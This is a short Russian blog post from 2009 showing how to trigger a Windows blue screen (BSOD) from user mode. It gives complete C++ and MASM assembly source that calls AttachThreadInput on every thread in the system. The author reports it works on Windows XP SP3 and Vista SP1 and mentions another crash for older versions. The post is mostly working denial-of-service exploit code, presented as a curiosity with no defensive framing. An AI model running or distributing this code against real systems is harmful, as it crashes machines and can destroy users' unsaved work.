Как сделать BSOD из User-mode
Воскресенье, 17. Май 2009
Раздел: Assembler, автор: dx
Наткнулся на забавный исходник на одном китайском сайте, где показано, как можно сделать BSOD (Blue Screen of Death, синий экран смерти) в Windows из User-Mode (ring 3) без всякого Native API:
Код на c++:
#include <windows .h> #include <tlhelp32 .h> #pragma comment(lib,"user32.lib") int main() { HANDLE SnapShotHandle = CreateToolhelp32Snapshot(TH32CS_SNAPTHREAD,0); THREADENTRY32 tBuffer={0}; tBuffer.dwSize=sizeof(THREADENTRY32); if((SnapShotHandle!=INVALID_HANDLE_VALUE) && Thread32First(SnapShotHandle,&tBuffer)) { while (Thread32Next(SnapShotHandle,&tBuffer)) { AttachThreadInput(tBuffer.th32ThreadID,GetCurrentThreadId(),TRUE); } } return 1; } </tlhelp32></windows>
Код на ассемблере (переписал с си++ для уменьшения размера, весит всего 1кб):
.486 .model flat, stdcall option casemap :none include \masm32\include\windows.inc include \masm32\include\user32.inc include \masm32\include\kernel32.inc include \masm32\macros\macros.asm includelib \masm32\lib\user32.lib includelib \masm32\lib\kernel32.lib .data? SnapShotHandle HANDLE ? tBuffer THREADENTRY32 <> .code start: mov SnapShotHandle,FUNC(CreateToolhelp32Snapshot,TH32CS_SNAPTHREAD,0) mov tBuffer.dwSize,sizeof THREADENTRY32 invoke Thread32First,SnapShotHandle,offset tBuffer .if SnapShotHandle!=INVALID_HANDLE_VALUE && eax again: invoke Thread32Next,SnapShotHandle,offset tBuffer .if eax!=0 invoke AttachThreadInput,tBuffer.th32ThreadID,FUNC(GetCurrentThreadId),TRUE jmp again .endif .endif end start
Код проверен и работает на WinXP SP3 и Windows Vista SP1. На Windows 7 не работает, пофикшено, на XP SP2 тоже вроде бы не работает.
UPD: обнаружился код на c++, который способен вызвать BSOD на Win XP SP2, Win 2003 SP1 и Win NT SP4 (Discovered on 23.12.2004 by YuraN).
Читать дальше »